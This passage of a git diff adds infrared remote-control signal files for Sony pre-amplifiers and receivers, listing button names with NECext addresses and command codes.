SUB +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5A 00 00 00 +# +name: PARAMETER_SUB +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 74 00 00 00 +# +name: PARAMETER_MAIN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 76 00 00 00 +# +name: DPC_LEFT_> +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 78 00 00 00 +# +name: DPC_LEFT_< +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 79 00 00 00 +# +name: DPC_RIGHT_< +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7A 00 00 00 +# +name: DPC_RIGHT_> +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir new file mode 100644 index 000000000..3e77bb659 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: DISPLAY_ON/OFF +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 10 00 00 00 +# +name: 2CH +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 41 00 00 00 +# +name: AUTODECODE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 47 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4A 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4C 00 00 00 +# +name: REAR_+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4E 00 00 00 +# +name: REAR_- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4F 00 00 00 +# +name: CENTER_+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 54 00 00 00 +# +name: CENTER_- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 55 00 00 00 +# +name: REAR_L+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 58 00 00 00 +# +name: REAR_R+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 59 00 00 00 +# +name: INPUT_+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 69 00 00 00 +# +name: INPUT_- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 6A 00 00 00 +# +name: MODE_+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 6E 00 00 00 +# +name: MODE_- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 6F 00 00 00 +# +name: CURSOR_MODE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 77 00 00 00 +# +name: MAIN_MENU +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 77 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 78 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 79 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 7A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir new file mode 100644 index 000000000..4e9aa72e2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir new file mode 100644 index 000000000..0629b9c7a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: HALL_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: HALL_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: OPERA +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: CHURCH +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: JAZZ_CLUB +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: DISCO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: STADIUM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: THEATER_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: THEATER_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: MASTER_VOL_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: MASTER_VOL_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1E 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 24 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: FRONT_L+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 26 00 00 00 +# +name: FRONT_R+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 27 00 00 00 +# +name: MIX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2B 00 00 00 +# +name: DIGITAL +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 40 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 41 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 42 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 43 00 00 00 +# +name: SOURCE_DIRECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 49 00 00 00 +# +name: DIPLAY_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4B 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4D 00 00 00 +# +name: SUBWOOFER_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5C 00 00 00 +# +name: SUBWOOFER_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir new file mode 100644 index 000000000..35d4f1b55 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir new file mode 100644 index 000000000..21f911a60 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: EQ_SLOPE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 0D 00 00 00 +# +name: EQ_CHANNEL +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 0F 00 00 00 +# +name: EQ_BAND +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 20 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2C 00 00 00 +# +name: EQ_FLAT +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 3F 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 4A 00 00 00 +# +name: REAR_VOL_+ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 4E 00 00 00 +# +name: REAR_VOL_- +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 4F 00 00 00 +# +name: CENTER_VOL_+ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 54 00 00 00 +# +name: CENTER_VOL_- +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 55 00 00 00 +# +name: PRESET_/_USER +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir new file mode 100644 index 000000000..2c09ad096 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir new file mode 100644 index 000000000..e2d104c4e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir new file mode 100644 index 000000000..84875ed3f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 15 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 19 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir new file mode 100644 index 000000000..293bdd3c5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 48 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 4C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 50 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 51 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 52 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 53 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 54 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 55 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 58 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 5B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 5C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 5D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 5E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 5F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 60 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 61 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 63 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 64 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 65 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 66 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 67 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 69 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 6B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 6C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 6D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 6E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 72 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 73 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 74 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 75 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 77 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 78 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir new file mode 100644 index 000000000..5ac557663 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 12 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 15 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 1E 00 00 00 +# +name: PHONE +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 20 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 21 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 22 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 23 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 25 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 42 00 00 00 +# +name: DAT +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 69 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 6A 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 6B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 7B 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir new file mode 100644 index 000000000..fbbb387e1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir new file mode 100644 index 000000000..e2d0c5862 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: 2_CH._STEREO +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: A.F.D. +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_+6 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_0 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_-3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_-6 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_+3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_+10 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CINEMA_A +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CINEMA_B +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CINEMA_C +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: DLG_0 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: DLG_1 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: DLG_-2 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: DLG_3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: DLG_5 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: DLG_-5 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_0 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-6 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-10 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-14 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: NIGHT +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: NORMAL_SS +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: OLV_HI +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: OLV_LOW +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REARS_-3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REARS_-6 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REARS_+3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REARS_+6 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REARS_+10 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REARS_0 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUB_-17 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUB_-19 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_0 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_1 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_-2 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_5 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_-5 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUB_0 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUB_-10 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUB_-14 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir new file mode 100644 index 000000000..43164eca5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir new file mode 100644 index 000000000..581de8f5e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/1,-1.ir new file mode 100644 index 000000000..74b9fc4f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/1,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: PROFILE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 64 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/11,-1.ir new file mode 100644 index 000000000..bb5c220d2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/11,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: VISUAL_I/O +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 15 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2F 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 42 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 43 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 4D 00 00 00 +# +name: ENTER/OK +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 51 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 61 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 62 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/12,-1.ir new file mode 100644 index 000000000..c61342366 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/12,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: DBFB +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: SURROUND_BASS_BOOST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: BASS_BOOST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: SF:_ON/OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 3F 00 00 00 +# +name: SOUND_FIELD_ON/OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 3F 00 00 00 +# +name: SOUND_FIELD_TOGGLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 3F 00 00 00 +# +name: SURROUND_ON/OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 3F 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 